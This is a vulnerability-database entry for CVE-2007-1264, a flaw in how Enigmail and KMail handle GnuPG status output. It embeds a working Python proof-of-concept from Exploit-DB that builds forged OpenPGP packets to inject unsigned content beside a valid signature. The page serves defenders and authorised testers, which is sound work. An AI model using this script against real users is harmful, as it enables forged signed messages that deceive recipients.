CVE-2007-1264

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Enigmail 0.94.2 and earlier does not properly use the --status-fd argument when invoking GnuPG, which prevents Enigmail from visually distinguishing between signed and unsigned portions of OpenPGP messages with multiple components, which allows remote attackers to forge the contents of a message without detection.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29690 remote linux verified python · 1 KB
Gerardo Richarte · 2007-03-05

KMail 1.x - GnuPG Arbitrary Content Injection

python exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/22759/info

KMail is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that KMail uses GnuPG.

This issue affects KMail versions prior to and including 1.9.5. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))

OS impact

debian Debian Fixed 1 release
VersionStatusFixed in
bullseye Fixed 2:0.95.0+1-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.